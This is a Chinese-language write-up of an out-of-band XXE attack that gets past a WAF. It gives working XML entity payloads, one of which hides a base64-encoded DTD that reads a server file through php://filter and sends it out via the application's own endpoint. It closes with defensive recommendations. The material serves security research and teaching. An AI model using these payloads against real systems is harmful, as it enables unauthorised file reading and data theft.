漏洞挖掘:绕过WAF的OOB-XXE
字数 801 2025-08-26 22:11:57
绕过WAF的OOB-XXE漏洞挖掘技术详解
1. 漏洞背景与发现过程
作者在目标应用程序中发现了一个XML实体注入(XXE)漏洞,但该应用受到WAF(Web应用防火墙)的严格保护,阻止了所有对外请求(包括DNS查询)。通过创造性思维和深入分析,作者成功实现了带外(OOB)数据外泄。
2. 关键发现与技术要点
2.1 初始发现
- 发现一个接收加密XML参数的端点
- 前端加密,后端可能缺乏充分验证
- 通过Chrome DevTools断点调试绕过前端加密
2.2 WAF绕过技术
- 发现WAF阻止所有外部请求但允许内部请求
- 确认XXE存在但无法直接外泄数据
- 利用内部端点作为数据中转站
3. 漏洞利用详细步骤
3.1 第一阶段:确认XXE存在
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
3.2 第二阶段:数据中转技术
- 寻找无需cookie验证的端点
- 使用GET方法传递参数(sid,key,val)
- 通过访问相同端点查看数据回显
3.3 第三阶段:文件读取技术
使用PHP包装器和Base64编码绕过限制:
- 构造外部DTD URL:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
- 完整Payload:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>
4. 技术要点总结
- WAF绕过核心思路:利用WAF允许内部请求的特性,将内部端点作为数据中转站
- 数据编码技术:使用Base64编码确保文件内容正确传输
- PHP包装器利用:
php://filter用于处理数据data://用于内联DTD定义
- 参数实体技巧:使用多层实体构造实现文件读取和数据外泄
5. 防御建议
- 禁用外部实体解析:
libxml_disable_entity_loader(true); - 使用白名单验证输入数据
- 限制XML解析器的功能
- 对所有输出进行适当编码
- 监控异常的内部请求模式
6. 扩展思考
这种技术不仅适用于XXE,也可应用于其他需要绕过WAF限制的场景。关键在于:
- 理解WAF的过滤规则
- 寻找WAF允许的通信渠道
- 创造性使用应用程序自身功能作为数据中转
通过这种技术,即使在没有直接外泄通道的情况下,也能实现敏感数据的提取。